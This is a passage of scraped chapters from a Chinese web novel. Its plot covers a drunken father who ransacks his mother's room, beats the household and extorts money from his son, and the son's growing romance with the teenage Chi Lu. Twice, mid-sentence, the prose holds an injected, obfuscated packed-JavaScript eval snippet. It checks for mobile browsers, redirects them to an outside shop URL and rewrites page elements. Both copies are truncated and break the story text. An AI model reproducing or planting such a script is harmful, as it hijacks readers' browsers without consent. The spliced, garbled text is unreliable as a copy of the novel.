那天下午,驰路上课时,脑袋里总会时不时浮现谢奶奶拉着一辆辆板车艰难往前的画面。 后座的谢劲舟自从恢复上课后,再没缺席过,每节课好像都在认真听讲。 他跟之前不太一样,在静心小屋时,他曾问她:“学习有什么用?” 驰路说:“学习,可以改变我们的思维模式,也能改变我们的未来走向。如果想离开芳町镇,学习,是唯一的通道。” 谢劲舟说:“我从没想过离开芳町镇。” 驰路说:“舟哥,你不想离开,难道想让小乔跟你一样,在未来,看到的世界只有芳町镇?你是小乔的表率,只有你踏出一步,她才会踏出一步。” 谢劲舟沉默了。 她没有得到谢劲舟的答案,但她知道,对于学习,关于未来,他应该多了一重考量。 近期他的表现,都在验证着她的猜测。 谢同学,在用他的行动往前走,她甚感欣慰。 谢奶奶在工地打工的事,他应该还不知道,她也不打算告诉他,不想让他担心。 当晚,驰路趁谢劲舟去网吧兼职,跑去谢奶奶屋里想跟她聊聊工地的事,却意外地发现谢鸿运正翻箱倒柜,谢奶奶拦住他:“我都说了没钱,你翻了也没用!” “你这个老太婆,藏钱的本事长了啊!”谢鸿运依然一身酒气,把每个抽屉里的东西都扔到地上,又去翻谢奶奶的衣橱,“我就不信,你没钱,你每天去工地打工,都是一个月就结一次,怎么就没有了!” 驰路看不下去,走上前,跟谢鸿运说:“叔叔,谢奶奶的钱给家里买吃的、用的了,没有就是没有,你别翻了。” 再没有之前说话时的礼貌,表情很冷,语气很硬。 谢鸿运听了心里不爽,把手里的一件背心用力甩地上,迷瞪着眼看驰路,一张嘴满是酒气:“哟,驰路啊,我们家供你吃、供你用的,你不给点钱就算了,还在这儿指手画脚!” 谢奶奶看不得谢鸿运这样对驰路,走到驰路面前:“阿驰,你先出去啊。” “要出去,也得叔叔出去!”驰路丝毫不退让,直接挡到衣橱前,一副不让他继续翻的架势。 “驰路,你别不知好歹,让开!”谢鸿运想将驰路推开,她却像门神似的,定定地站着。 这下惹怒了谢鸿运,他使了力,一把将驰路用力往外甩,他喝醉了,手下没个轻重,直接把人甩到了门板上,发出“砰”的撞击声。 吓到了正好来找谢劲舟的罗子昂,下意识往后弹跳着倒退几步。 罗子昂见是驰路,连忙上前探查情况,看到谢鸿运正把衣橱里的衣服往外甩,一下明白过来正在发生着什么。 谢奶奶想拉开谢鸿运,却被他一把推到地上。 谢奶奶坐在地上骂他“不孝子”“孽种”,一声高过一声,声音渐渐嘶哑,混着愤怒、无助。 罗子昂见情势不可控,连忙搬救兵,给谢劲舟打去电话:“舟爷,你爸回来闹事了,你快回来,驰妹被他甩门上了,谢奶奶被他甩地上了。” 谢鸿运几乎把衣橱翻了个底朝天,一分钱没找到,转身看到床上放的花床单包的包裹,眼睛放光,立刻想解开。 谢奶奶立刻从地上爬起来,按住包裹:“里面是我卖的鞋子、衣服。” “你给我走开,我不看,怎么知道你有没有把钱藏在里面。”谢鸿运一把挡掉她的手,拆包裹,把里面的鞋子、衣服往地上倒。 忽然,谢鸿运的后背被物体打中,打中一下,打中两下,连续被打中了三下,气得谢鸿运不得不放下手里的包裹,骂道:“哪个小兔崽子在打老子。” 谢鸿运一扭头,看到了站在门口,手里拿着弹弓的谢林乔,她已经装上了第四颗石子,对准谢鸿运的脸。 “谢林乔!!!”谢鸿运红了眼,想抬腿跑到门边揍谢林乔一顿,但他的眼睛下方被第四颗石子击中,疼得他捂着眼睛大叫。 “小乔,驰妹,谢奶奶,你们先到我家去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560765|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”罗子昂把小乔往外拉,又去拽还靠在门上的驰路。 罗子昂刚想进屋解救谢奶奶,谢鸿运却颠着他那坡腿大跨步往外走,提溜着谢林乔的领子,大骂:“你这个小兔崽子,竟然敢打你老子,看你今天怎么教训你!”说完,啪啪两巴掌打在谢林乔脸上,小孩子皮肤嫩,很快浮上清晰的巴掌印。 驰路怒火中烧,放在身侧的手握拳。 剩余的理智告诉她,她住在谢家,谢鸿运这浑蛋想赶她走、想闹事很容易,她要冷静,不要动手。但另一个声音呐喊着,要给眼前这个醉醺醺、乱打人的家伙一点颜色看看! 两种情绪在脑中挣扎、叫嚣,吵得她越发烦躁。 就在谢鸿运还想伸手打谢林乔时,驰路一把拽住了谢鸿运的手腕,死死地拽着,不让他动弹分毫,往后一拧,几乎能听到骨头咔嚓的声音。 罗子昂看得目瞪口呆,谢鸿运疼得龇牙咧嘴。 “我艹你妈!”谢鸿运抬起左腿,就要朝驰路身上踹,她往后一退,只见谢鸿运被人踢得飞了出去,在地上划出长长的一道痕。 驰路朝来人看去,是穿着黑色短袖的谢劲舟,满脸怒气,眼神冷得似冰锥,一道道地往谢鸿运身上戳。 谢劲舟往前走,谢鸿运想爬起来,却疼得无法站起来,只能往后挪,像一只缩头乌龟,见到强者,本能后退。 谢劲舟走过去,狠狠地踩在他的胸前,沉眸,冷声道:“谢鸿运,你要这样混账到什么时候!” 谢奶奶咳嗽几声,努力让自己走得直一点,刚才被谢鸿运用力一推,伤到了腰,原本佝偻的身体又往下压弯了些。 她走出去,看到谢劲舟这样压制谢鸿运,心里很不是滋味,不管谁占上风,打架这事,她都不想看到。 “我要混账到什么时候?”谢鸿运笑道,“也不看看你们,有这样欺负人的吗?每个都来打我。” 谢鸿运见路边围观看热闹的人越来越多,笑转为哭:“大家快来看看啊,我家这个不孝子要打老子!真是养了只白眼狼!” 看热闹的都知道这家人是什么德行,没人插手,拍照的、拍视频的居多,全当看戏,没有一个人上前一探究竟、或是解围。 “小谢,我们不跟老谢计较,就这样吧。”谢奶奶过来拉谢劲舟。 谢劲舟眼里仍有怒火,他刚在门口停摩托车时,亲眼看到了谢鸿运是怎么恶狠狠地打谢林乔,想必他推奶奶、推驰路时,下手都不轻。 他不能忍受有人欺负他在乎的人,谁都不可以! “谢鸿运,你要是以后再打她们,看我怎么收拾!”谢劲舟撂了狠话,才从谢鸿运身上移开脚,转身想去看谢林乔的伤情。 谢鸿运心里堵着气,从一旁操起一把笤帚,努力爬起来,将木棍一头对准谢劲舟的背砸去,那股狠劲儿似要将他的背打断、敲碎。 驰路见状,不得不一把将谢鸿运推开。 谢鸿运急了眼,不管不顾地继续去打谢劲舟,距离太近,眼见要落到他背上,驰路本能地推开谢劲舟,自己承受了他狠狠的一击,砸得她的背似乎要裂开。 谢劲舟已然猜到刚才都发生了什么,拳头紧握,转身看到弯腰皱眉的驰路,手持笤帚的谢鸿运。 谢鸿运仿佛得了势的小人,根本不管那些看热闹的看客,也不表演哭戏,以为拿到了武器就是强者。 他疯了一样,举起笤帚就往谢劲舟身上砸,却被谢劲舟一把抓住,用力一拽,夺了过来。 谢鸿运被搡得连连往后退了几步,最后跌到地上,又伤到刚才被弄疼的腰臀,一张脸不禁皱成核桃。 谢劲舟拿着笤帚往谢鸿运身上连打三下,边打边厉色道:“谢鸿运,这是我替奶奶、小乔、阿驰打的。” “唉哟唉哟……”谢鸿运疼得在地上又滚又号,嘴里还在骂骂咧咧,“混账东西打人了!害死他妈,现在又要害他老子了!” 49. 他的世界亮起星星 「生命浩瀚,却也孤独。 但不妨碍我们成为一道光,做自己的守护神。 Z,如果你不能成为自己的守护神,那我替你来当。」 ——《小蝴蝶的盛夏》 驰路看到谢劲舟眼里的怒火更甚,举起笤帚还要打,被谢奶奶抓住:“小谢,别打了,别打了……” 沧桑感的声音泛着哑,脊梁似乎又弯了。 * 因为这场闹剧,别人口中的谈资又多了一份,谢家四口,连同外来户驰路,身为当事人,个个都不好过,个个在身体、心理上都受到了不同程度的伤害。 罗子昂作为外人,不好插手,只能在一旁干着急、干跺脚,却把谢林乔好好地护在怀里,没让她受一点伤害。 谢劲舟赶走了谢鸿运,没再看他一眼。 路人渐渐散了,谢劲舟看着没有院墙的房子,生出要砌院墙的想法,要砌得高点,再安装一扇坚固的门,不让谢鸿运进来,不让路人经常围观看笑话。 谢鸿运比平日里更艰难地前行,他的右腿一颠一颠地往前走,走得又慢又吃力,腰臀都受了内伤,一走就疼,胸口也有些闷。 他一分钱没从谢奶奶那儿搜到,还被揍成了落败狗,心头气不顺,一边走一边骂“老天不公,坏人该死绝”。 谢奶奶去了房间,看着地上洒落的小鞋子、小衣服,一个个捡起来,最后从一件小衣服的口袋里拿出了一张崭新的钞票。 她在每件小衣服的口袋里,都放了一张钞票,刚发的上个月的工钱,她还没来得及找地方藏起来,她那个混账儿子就来翻了。 她的钱是要留着家用的,留着给小谢、小乔上学用的,而不是给谢鸿运酗酒、赌博的。 谢奶奶关了灯,把自己藏在黑暗里,躺在床上,把小衣服一件件地揽入怀里,那些挤压在胸腔里被压抑的悲恸,此刻汹涌而至,如泄了洪的大坝。 她布满眼纹的眼尾滑下泪水,一滴一滴,往下掉,掉在小衣服上,晕开。 * 谢林乔被谢劲舟抱上楼,陪她洗漱,安抚到她睡着,才去敲驰路的门,问她要不要出去。 驰路被这事弄得静不下心,出去也好。 谢劲舟骑着摩托车载着驰路拐过一条条巷子,再开到街道上,开出四十几分钟,来到了荒郊野外,四周没有建筑,只有大片农田。 秋夜的风吹在脸上,凉意扑面,驰路却在这般疾驰中感受到前所未有的畅快,好像方才的那些糟心事都消失无踪。 她的世界,只有天地间的风,悬在天空的圆月,还有她搂住的谢劲舟。 这里,是破碎跟美好的分界线,泾渭分明。 驰路伸出右手,高高举起,像一面迎风招展的旗帜。 “舟哥,这世界很操/蛋,但我们要足够勇敢,勇敢地向前走。”驰路大声说,“就像现在的我们一样。” 青春就是好,会有一腔热血,填满山海。 她的声音,被谢劲舟听见,他又加快了速度,背后的人贴他贴得更紧,好像这样,再漫长、再寒冷的夜,终会过去。 他们会一起走入良夜。 他在心里说了一句:小蝴蝶,我们都要往前走,不要回头。 * 谢劲舟将驰路带去静心小屋,往山上走的那段路,静静地踩着月色前行。 途中,谢劲舟跟她说:“阿驰,谢谢你。” 谢谢你上次帮我挡下谢鸿运挥来的拐杖、保护了小乔; 谢谢你这次帮我挡下谢鸿运砸下的笤帚、不顾一切地保护我和我的家人; 谢谢你不顾生命危险地把我从湖底救出来,陪我度过那段黑暗时光; 谢谢你启动“小木屋改造计划”,帮我打造了一座更好的“静心小屋”; 谢谢你让我知道,我不是一定要烂在芳町镇,我可以走出去。只有我走出去看到了更广阔的世界,我才能做小乔的表率; 谢谢你帮我、帮小乔补习功课,让我知道学习不是万能的,却是通往美好未来的一把钥匙。 一切感谢融在简短的一句话里,驰路知道他心里在想什么,弯起她的狐狸眼,笑着说:“舟哥,你都把我当谢家人了,我们之间,就不用这么客气了。” …… 上次谢劲舟在她房间给她抹药时,看到她后背上还有上次帮谢林乔挡下钢棍时的伤,浅浅的淤青。这次又添了新的伤痕,在文身蝴蝶身体的中间,恰好被挡住,但依然能看到藏在下面的淤青。 这次抹药跟前几次抹药时的心态完全不一样,之前有照顾她的意思,但这次更多的是心疼,抹药时看到她咬着牙关的样子,恨不得自己替她疼。 心疼之余,还有一股散不开的气,气她每次的擅自主张,他一个大男人,不用她用娇小的身躯帮他挡危险。 他在芳町镇混了有两年多,参与过、见过大大小小的“武林纷争”,见过帮人挡危险的少之又少,遇到危险,谁都会本能地逃或是躲,没人还会想着为谁挡那么一下。 真正为他挡过危险的,也就罗子昂,当然,他为罗子昂解决过的、挡过的危险更多。 其他的小弟,他知道,谁强就跟谁混。 世界就是这样,弱肉强食,强者为王。 彼时,谢劲舟一边细致地帮她抹药一边沉声说:“阿驰,下次别替我挡危险了,老子要你完好无缺!” 驰路的后背几乎有一大片裸露在他面前,她的心怦怦跳得厉害,深呼吸了一下说:“舟哥,你要我完好无缺,我希望你安然无恙。” 他们从陌生到熟悉,从针锋相对到和睦相处,再到心心相惜。 这让谢劲舟明白,再坚固的防线,在驰路这里,他防不住。 她是路过的风、飞过的蝴蝶,一经过他的世界,他就能感受得到,也能看得见。 谢劲舟走在她的身后,看着她一步一个脚印地往上爬,风吹得她的校服外套鼓起,扎高的马尾辫随风飘扬。 她看起来跟别人一样,却又不一样。 他将她护在身前,避免湿滑的路,让她摔倒。 驰路踩到了一块滑腻的苔藓,脚下不稳,不受控制地往后倒去,恰好被谢劲舟稳稳接住。 她的马尾辫扫过他的脸,鼻尖的青草味变成了玫瑰香,如片片羽毛扫过,平添痒意。 她几乎陷在他怀里,一阵属于他的气息袭来,皂香混合着烟味。 驰路有些慌神,心跳加速,从他怀里移开。 夜色挡住了她脸颊上泛起的红晕。 她想继续往前走,左手却被人牵住,听到他说:“跟着舟哥,好好走!” 从此刻到山顶,谢劲舟没松开她的手。 他的手浸了夜的凉,她却觉得像握着一枚不落的太阳。 * 登上半山腰的两人,谢劲舟没先去静心小屋,而是带着驰路行至悬崖边。 他望着远处毫无人烟的连绵山峦,望着深不见底的悬崖,忽然有种想要一跃而下的冲动。 谢劲舟心里像结了一张大网,网里落着无数要将他撕咬的野兽,他想逃,却无处可逃。 他只好朝着漫无边际的黑暗大声喊着,似乎这样才能把要野兽们吓跑。 空旷的山谷间,一遍遍回响着他的声音,低沉的、撕裂的,仿佛要穿透夜的黑,直抵光明。 驰路望着他的背影,被月色笼着一层薄薄的光辉,一半在月色中,一半在阴影里,原本挺直的脊背微微弓着,像跋山涉水的落拓旅人。 他母亲的去世,是他心头的伤疤,但每次谢鸿运吵不过他时,总会拿出来说,说他害死了他母亲。 给别人伤口撒盐已是不对,那么,在别人的伤口上捅刀子更是残忍。 谢鸿运不管这些,自己怎么痛快了怎么来,完全不顾忌给谢劲舟带来的伤害。 驰路想了很多次,依然想不通谢鸿运为什么要说是谢劲舟害死了他母亲,她找不到他能伤害他母亲的理由。 如果是他害死的,他为什么要把母亲的骨灰做成项链,挂在脖子上,每天戴着? 其中一定有什么隐情,或是什么真相,是她尚未触及到的禁区。 他从不提及,她也就从不问。 别人心中的隐秘,是一个上了锁的匣子,他不打开,你就别去尝试打开。你的尝试也许会让他排斥,甚至反感。适得其反的事,还是不要去做。 驰路能做的就是,在谢劲舟难受时,陪着他。 她将双手放在嘴巴旁,做喇叭状,朝着空旷山谷呐喊,一声高过一声,跟谢劲舟的声音交错、纠缠,在万籁寂静的夜色中,像两股看不见的线,缠在一起,难舍难分。 喊了足足有几分钟,两人的声音都喊哑了才停住,彼此的脸上都有难得的畅快笑意。 驰路每次到家就会摘掉那副没有度数的眼镜,此刻,她的那双迷人的狐狸眼,在月色下格外耀眼,几乎弯成了月牙。 她朝谢劲舟走过去,走到他身前,抬头看着他说:“每一种感受都是极好的,包括怨恨……”【注】 她停顿时,谢劲舟接上:“包括羡慕、嫉妒、残酷。”【注】 驰路接着说:“我们为体验这些可怜的、美妙的、灿烂的感觉而活。”【注】 谢劲舟:“每一种被我们排斥的感情,都是一颗被我们熄灭的星星。”【注】 他们的对白,来自黑塞的《克林索尔的最后夏天》,驰路在静心小屋里见过,也看过谢劲舟在上面划线。 她也看过,在她人生困顿时刻,《克林索尔的最后夏天》是一枚解药,带她灵魂寂灭,也带她灵魂重生。 悬崖边,风声烈烈,树叶沙沙作响,他们看着彼此的眼睛,在这一刻,找到了灵魂的共振。 驰路看出了他眼中复杂的情感,悲恸、惘然、痛快、惊讶,还有一丝“这世上,只有你懂我”的情绪。 “舟哥,活着就像一场体验,在宇宙里环游,看太阳升起,看星星熄灭。每一种情感,会给我们带来不一样的情绪价值,好的,或者坏的,不管我们愿不愿意接受、能不能接受,总会去体验,这大概就是我们生而为人,为活着而付出的代价。”驰路看着谢劲舟说,“也许,正是体验了迷惘、痛苦、残酷,我们才会更加珍惜快乐、幸福和拥有。” “痛苦会随时降临,但我们不会做任人摆布的木偶,我们偶尔会逃避,但也会反击,不是吗?”驰路看着谢劲舟右颈蜿蜒而上的字母文身,“活着,就是在风暴中起舞,在泥泞中歌唱,生活很重,却重不过生命。就算我们跌入谷底,也有向上生长的权利。” “谢谢你,阿驰。”谢劲舟复杂的眼眸里透出微光,“我曾禁锢在深渊,沦陷在沼泽,是你给了我向前走的勇气。我不完美,甚至浑球,谢谢你告诉我,我也有向上生长的权利。” “谢什么。”驰路眼里含着一抹笑意,“舟哥,我还要谢你,谢你在我陷入无尽黑暗时,愿意收留我、愿意在别人欺负我时去救我、愿意做我的救世主。” 谢劲舟朝她迈近一步,两人的身体几乎快要相贴。 他低头垂眸看她,驰路也直视他,两人的视线在咫尺间交汇。 他们近得几乎可以听到彼此的心跳、闻到对方身上的气息。 在流淌着月色的寂静山谷中,两人陷于一片温柔的夜色中,谢劲舟听到驰路用她特有的烟嗓说:“舟哥,我没安慰过谁,也不知道怎么安慰人,那些话都发自内心,只想说给你听。我希望你历经风暴后,可以勇敢迎接,可以迈过去,可以做一个新的自己。” 谢劲舟许久不说话,她说的每个字,都像 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驰路躺在拉开的沙发上,跟躺在双人床上没两样。 当初选这个沙发,她跟谢劲舟还起了分歧,谢劲舟要选原木的硬沙发,她偏要选软硬适中的,还要可以拉开的。 几番拉扯,最终谢劲舟妥协,不知道是不是她说的那句:“舟哥,我住在这里给你补习功课时,你就忍心让我睡硬沙发?” 驰路侧头,望着洒在茶几上的月色,柔光笼着桌上的那瓶洋桔梗,睡之前,她本想着换掉枯萎的洋桔梗,去采两支新鲜的放上。 结果,她洗完澡出来,看到玻璃容器里放着的是两支新鲜的洋桔梗,也换了干净的水。 茶几上原本装在矿泉水瓶里的三尾小鱼,不知什么时候,换了新环境,放在冰箱一侧的柜子上的玻璃缸里,插了电,供了氧,似乎长大了一点。 她其实已经对这三条鱼不抱希望了,放在矿泉水瓶里,不换水,没有食,没有足够的氧气,撑不了几天。 她跟谢劲舟说过,如果有空了能不能帮鱼换下水、喂下食,谢劲舟懒散地回她:“不就几条鱼吗,有必要这么关心吗,死了就死了。” 驰路知道自己用不了这位爷,没再坚持:“不想管就算了。” 她哪里知道他竟然把这三条鱼照顾得很好,真是口嫌体正直的主。 驰路认床,但在这里,在新沙发上,闻着洋桔梗的清香,听着鱼儿游弋的声音,听着一墙之隔谢劲舟轻微的响动声,很快沉入梦乡。 她不知道,旁边房间的那扇门没关严,她只要轻轻一推,就能进去,不只这一次,以往的任何一次都是,包括在栾花巷32号谢劲舟房间的那扇门。 这晚,这扇门没有任何动静,他的蝴蝶,睡得很安稳,而他在期待和失落中度过了一个难捱的夜晚。 * 翌日,驰路乘着谢劲舟的那辆宝贝深蓝色摩托车回到了栾花巷32号。 这次的谢劲舟跟上次避世一个月的他有了不同,他不将自己困于自责的牢笼里,不躲在静心小屋里,不逃避俗世了。 他在按照驰路说的那样,迎接风暴,向前走。 他要向前走,一直走到光里。 这样,他才有能力去照顾和守护他在乎的人。 当天,谢劲舟去建材批发市场订购了一批红砖、水泥、门等材料,叫上自己的那帮兄弟,着手砌起围墙。 一切看起来都很顺利,但到了晚上,围墙砌了一半,兄弟们吃完饭喝完酒也都撤了。 谢劲舟正在洗澡,听到楼下一阵吵吵嚷嚷的声音,顿觉不妙,匆忙将头上、身上的泡沫冲洗掉,胡乱擦了把身子,套上T恤、长裤下了楼。 他刚走到厅堂,便听到外面骂骂咧咧的声音:“不是没钱吗,没钱还建围墙,我让你建!” 随即响起的是一阵噼啪倒地的声音,砸在地上啪啪响,溅起一阵阵灰尘。 “谢鸿运,你快别弄了,要是让小谢看到了,又要打架。”沧桑感的声音响起。 “打架?”谢鸿运嘚瑟道,“我怕打架?他敢打我一下,我就把这些墙都推倒!” 不用看,谢劲舟也知道正在发生着什么,他几乎是冲出了厅堂,看到了谢鸿运正拿着一把大铲刀一下下把还没完全干透的砖铲下来。 谢鸿运铲的动作慢,砖头是一块一块地往下掉,有威胁的意味,却不敢有大动作。 谢劲舟看得满眼冒火,跑上前就要揍人,被谢奶奶拦住:“小谢,别动手,有什么话好好说。” 跟谢鸿运这样的人渣,有什么好说的? 如果能好好沟通,他跟谢鸿运的关系,也不会闹到如此糟糕的地步。 “你要做什么,直说吧。”谢劲舟忍住怒火,用一双要揍人的锐利眼神瞪着谢鸿运。 谢鸿运见谢劲舟来了,才停止推墙,慢慢悠悠地把铲刀往胳肢窝下一放,撑着他站不太稳的右腿,笑得狡诈:“小谢啊,你是爽快人,给我一万块,我就走。” “谢鸿运,你抢钱?”谢劲舟咬着牙说,额上暴出青筋。 “一万块钱而已,算什么抢钱。”谢鸿运不慌不忙道,“你不是做了好几份兼职,六月份不还参加了赛车比赛,拿了奖金,你说没钱,谁信!” 谢鸿运见从谢奶奶那儿捞不到钱了,开始大着胆子把主意打到了谢劲舟身上。 墙砌了一半高,谢劲舟隔着一堵矮墙,浑身透出一股痞劲儿地看谢鸿运,声音冷得厉害:“凭什么要给你钱?” “凭老子养了你十八年,凭你是老子的种!”谢鸿运恬不知耻道,仿佛生他养他十八年,是件多么了不得的需要送锦旗的事。 50. 喝她的可乐 「无论世界怎样颠覆,你都不该成为谁的赌注。 我的信徒,芳町镇注定不是你的归处。 但我想把你留住。 我的自私,贯穿每个朝暮。」 ——《不夜港》 “呵!”谢劲舟冷嗤一声,“我希望从没有你这样的老子!” “那就不巧了,偏偏老天让你做老子的儿子。”谢鸿运伸出手,“你也满十八岁了,该你孝敬老子的时候了。” 他说得没脸没皮,完全不顾忌谢劲舟赚钱是为了用来交学费,还有一家人的生活开支。 谢劲舟要是不打好几份工,不去参加赛车比赛,他哪里来的钱?他落了多少课程他知道,他想过吗? 有时候,他也想跟其他同学一样,不用打工,想参加赛车比赛就去参加,想把更多的时间花在学习上。 没有谁规定校霸不能好好学习。 他比谁都清楚,不烂在芳町镇的唯一途径,是走出去。走出去的前提是成绩拔尖,而他的成绩次次垫底。 上课想努力听,却困得只能趴着睡觉。 他的那帮小弟都以为他就想混日子,不想好好学习,其实,他比谁都想努力学习,但没条件,干脆放弃。 他生于泥淖,没有仰望月亮的资格。 是驰路让他知道,他也是可以努力一下的,欣慰的是,数学随堂测试卷从之前的五六十分,到现在的及格,虽然跟好学生还差一大截,但对他来说,已是莫大的鼓舞。 他目前做了四份兼职,在网吧做网管,兼职做室内设计,在摩托车车行做维修,在浩哥的私人赛车场玩玩赛车,攒是攒了部分钱,但攒的钱一部分用来买他的那辆宝贝摩托车了,一部分用于交学费、家庭开支。 他想把网吧的兼职辞掉,这样白天会有精力听讲。 这还没辞,谢鸿运就找上门要钱了。 一万块钱,对他来说,要兼职做四五个月的网管才能赚到,要修很多辆摩托车才能赚到。 室内设计的活儿,时有时没有,需要碰运气。 谢劲舟的钱不是大风吹过来的,不会轻易给谢鸿运,朝他扬了扬下巴,模样桀骜:“不给呢?” 谢鸿运把胳肢窝下的大铲刀拉出来,放在矮墙上敲了敲,威胁道:“不给呀,不给的话,这院墙是变成方的还是圆的,还是平的,就不好说了。” 说完,谢鸿运一铲刀下去,铲掉了一块砖,啪嗒一声,差点掉在谢奶奶脚背上,被谢劲舟往后推了几步,才幸免于难。 楼下争吵时,驰路正在房间里写作业,放在床上的手机振动了几下,她去看,有几条安然给她发的,问她要静心小屋实景图的。 有几条是梁清安发来的,分享他生活的世界,雨后的高架桥上悬着一道彩虹,车流熙攘的傍晚时分,天际是镶着橘边的绚丽晚霞,他在告诉她:这世界的每一处,都可以是风景。 有几条是江迟发来的,跟她探讨一道数学题的解法。 驰路匆匆看了一眼信息,一条没回,疾步跑到阳台上,靠在栏杆上,看到楼下发生的一幕:谢家父子正冷眼对峙,谢劲舟的脊背崩得紧紧的,下一秒就要跟他干架的模样。 她没有立刻下楼,而是听完他们的对话,看着谢鸿运挑衅般地继续铲砖头,看到谢劲舟往前走,拽起谢鸿运的衣领就要揍人时,她才大声开了口:“舟哥,别动手,钱,我出!” * 谢鸿运自导自演的这场闹剧,最终以给了他一万块钱收尾。 谢劲舟是拒绝的,但被驰路拉到一边,听到她说:“你没发现,你爸就是看准了你在建围墙,故意来捣乱要钱吗,你看他今天这个架势,要不到钱是不可能走人的。围墙还是要建的,是不是?等建好了,把门关好了,他就进不来了。” 谢劲舟知道她说的有一定道理,但他就是不想让谢鸿运得了便宜,凭什么要白白给他一万元?他心里跟谢鸿运怄着气,他就是看不惯谢鸿运嚣张嘚瑟的样子,不想给他一分钱。 但谢鸿运这样一直闹下去也不是办法,他看着想抢夺谢鸿运手中大铲刀的奶奶,看着依然在铲砖搞破坏的谢鸿运。 为了让谢鸿运住手,谢劲舟憋着一股子怒气,没有当面转给他,而是拽着谢鸿运去了最近的一家自助提款机,一次取一千,把崭新的票子扔到他身上,取了十次,扔了十次。 谢鸿运虽然不满他这种不尊老的举动,但拿到钱了,他也没计较太多,把散落一地的钱捡起来塞到斜跨包里,想去拍谢劲舟的肩膀,被他一躲。 谢鸿运尴尬地缩回手,一张嘴,混着浓烈的烟酒味,熏人,笑道:“你这小子,好好赚钱啊!记得还老子的抚养费。” 谢劲舟捏紧手心里的银行卡,卡的一角陷入手心,戳得泛疼。 从谢鸿运出现开始,直到此刻,他都在强忍心头的暴躁和怒意,这几乎要花光他所有的耐心。 “你快给我滚!”谢劲舟怒视谢鸿运,每个字都咬得那么重那么狠。 他怕再跟谢鸿运多待一秒,都要忍不住动手。 回家的路,谢劲舟走回去不过十几分钟,每一步都走得艰难。 头顶悬着明月,洒在小巷间,像倒灌的星河,那么亮,那么柔,他却觉得置身北极,被寒冷包围。 谢劲舟回到栾花巷32号,开着他的摩托车,疾驰在小巷中,照例去了网吧,上完夜班回来已是深夜两点半。 他没睡,来到阳台,靠在栏杆,仰头望着明月,陷入烦躁和迷惘中。 他从口袋里掏出一盒烟,抖出一根,又拿出塑料打火机,咔嚓一声,腾出火焰,在风中摇晃、抖动,把烟凑上去,火焰被风吹灭,再点,再灭。 谢劲舟被弄得愈加烦躁,用所剩无几的耐心想一手拨动打火机,一手拢火,打火机还没拨动,一束橙色火焰在面前腾起,点燃了他指间的那根烟。 他一抬头,看到了驰路,穿着黑色真丝睡袍,在夜色中,性感又迷人,是妩媚丛生的蝴蝶。 他们一起背靠着栏杆抽完了一根烟,谁都不说话,谢劲舟看着两人呼出的烟雾缠绕,有一种说不出的感觉。 他呼出的烟总比她的更多更浓,将她的烟雾包围,是追赶,是侵占,也是隐秘的暧昧。 “你等我一下。”驰路掐灭烟,将烟头扔到楼下,转身去了房间,跑去一楼拿了几罐冰镇零度可乐。 她把可乐一罐一罐地放在栏杆台面上,摆得很整齐,一共六罐。 谢劲舟看着她认真摆放的样子,扬眉:“怎么,这六罐可乐要敬舟爷?” “对,敬舟爷!”驰路学着谢劲舟之前摇啤酒罐的样子,使劲摇晃了十几下,才单手拉开拉环,炸开噼里啪啦的声音,气泡在空中起舞又落下。 谢劲舟看着驰路极其熟练的动作,简直把他开啤酒罐的精髓都学到,不禁笑了,以同样的方式开了可乐罐,只是摇晃的力度比驰路大,炸开的声音更大,气泡更多。 可乐气泡炸了两人一脸,他们像两只小花猫。 驰路起了玩心,去戳谢劲舟脸上的可乐气泡,戳灭一个,又去戳第二个,还想戳第三个时,被谢劲舟一把抓住手腕,把她往自己身前一拽,直直地撞进他结实的胸膛。 触碰到谢劲舟身体的瞬间,驰路的身体忽然僵住,脸上的笑容也凝固,怔怔地睁着她那双受了惊的眼睛看他。 她看不出谢劲舟眼里的神色,好像生气了,又好像没生气,目光沉沉,嘴角绷着,几乎要抿成一条线。 驰路看着谢劲舟抬手,以为他要惩罚自己,结果,他的指腹轻轻地划过她的右眼尾,在她的那颗胭脂痣上停留。 指腹上的纹路,宛若一根根电线,蹿上细密的电流,电过她的胭脂痣,引得她的心漏跳半拍,脸颊泛起红晕。 驰路一瞬不瞬地望着他那双沉寂又深邃的眼眸。 触碰不过停留须臾,很快离开,如蜻蜓点水。 驰路看着他将指腹上沾着的可乐放在菲薄的唇上,轻轻一点:“挺甜。” 看似不经意的动作,实在撩人,仿佛无意的风吹过玫瑰花瓣,所到之处,皆燃烧隐秘爱意。 驰路不是没被人撩过,但能这样撩她的,谢劲舟还是第一个。 看着禁欲系的芳町镇大佬,竟然对她做这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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驰路想要推开他,谢劲舟却从她身上挪开,径自从她手里拿过可乐,大口大口地灌了大半瓶,又把可乐瓶塞到她手里,整个人虚虚地伏在她身前,贴着她红了的耳根说:“好喝。” 明明只有两个字,却像两团熊熊燃烧的火焰,从驰路的耳根一直烧到她整个耳廓,蔓延至四肢百骸。 谢劲舟单手撑在藤椅上,看着陷在昏暗中的驰路,看着她红得像玫瑰般的脸颊,勾唇,痞里痞气地说:“阿驰,你脸怎么这么红?” 驰路一把将他推开,几乎要将手心里剩余的可乐泼到他脸上,但剩余的理智让她没这么做,而是用力捏扁可乐瓶,压制住心头的火气,毫不客气地怼他:“舟哥,你就是这样调戏女生的啊,技巧真是差到家!” 谢劲舟看着她滑到肩头的睡袍,露出她纤细的脖颈、精致的锁骨,想帮她拉起来,驰路却已提前一步拉上去:“不劳你费心,你的这些调戏技巧留给别的女生吧。” “驰路,”谢劲舟把从她藤椅上拽起来,两人的身体几乎相贴,看着她的眼睛,“老子从没调戏过女生。” 